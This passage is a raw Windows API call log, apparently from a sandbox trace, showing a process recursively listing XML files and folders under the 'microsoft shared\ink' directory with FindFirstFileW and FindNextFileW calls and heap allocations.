dwReserved1=0x0, cFileName="main.xml", cAlternateFileName="")) returned 1 [0213.962] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui", cAlternateFileName="OSKCLE~1")) returned 1 [0213.962] GetProcessHeap () returned 0xc10000 [0213.962] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.962] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0213.962] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cdb88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.962] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 1 [0213.962] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearuibase.xml", cAlternateFileName="")) returned 0 [0213.962] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0213.963] GetProcessHeap () returned 0xc10000 [0213.963] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0213.963] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0213.963] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0213.963] GetProcessHeap () returned 0xc10000 [0213.963] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0213.963] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0213.963] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.963] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0214.266] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 0 [0214.266] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0214.266] GetProcessHeap () returned 0xc10000 [0214.266] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.267] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0214.267] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1 [0214.267] GetProcessHeap () returned 0xc10000 [0214.267] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.267] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0214.267] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.267] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0214.267] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 0 [0214.267] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0214.267] GetProcessHeap () returned 0xc10000 [0214.267] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.267] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0214.268] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0214.268] GetProcessHeap () returned 0xc10000 [0214.268] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.268] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4c68 [0214.268] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.268] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0214.268] FindNextFileW (in: hFindFile=0x33e4c68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 0 [0214.268] FindClose (in: hFindFile=0x33e4c68 | out: hFindFile=0x33e4c68) returned 1 [0214.268] GetProcessHeap () returned 0xc10000 [0214.268] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.268] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0214.268] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred", cAlternateFileName="")) returned 1 [0214.268] GetProcessHeap () returned 0xc10000 [0214.268] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.269] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cef41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.269] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 1 [0214.269] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x39c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpredbase.xml", cAlternateFileName="")) returned 0 [0214.269] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.269] GetProcessHeap () returned 0xc10000 [0214.269] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.269] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0214.269] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1 [0214.269] GetProcessHeap () returned 0xc10000 [0214.269] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38e0048 [0214.269] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.270] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf371, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0214.270] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.270] GetProcessHeap () returned 0xc10000 [0214.270] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38e0048 | out: hHeap=0xc10000) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0214.270] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 0 [0214.270] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0214.271] GetProcessHeap () returned 0xc10000 [0214.271] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0214.272] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0214.272] GetProcessHeap () returned 0xc10000 [0214.272] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0214.273] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, 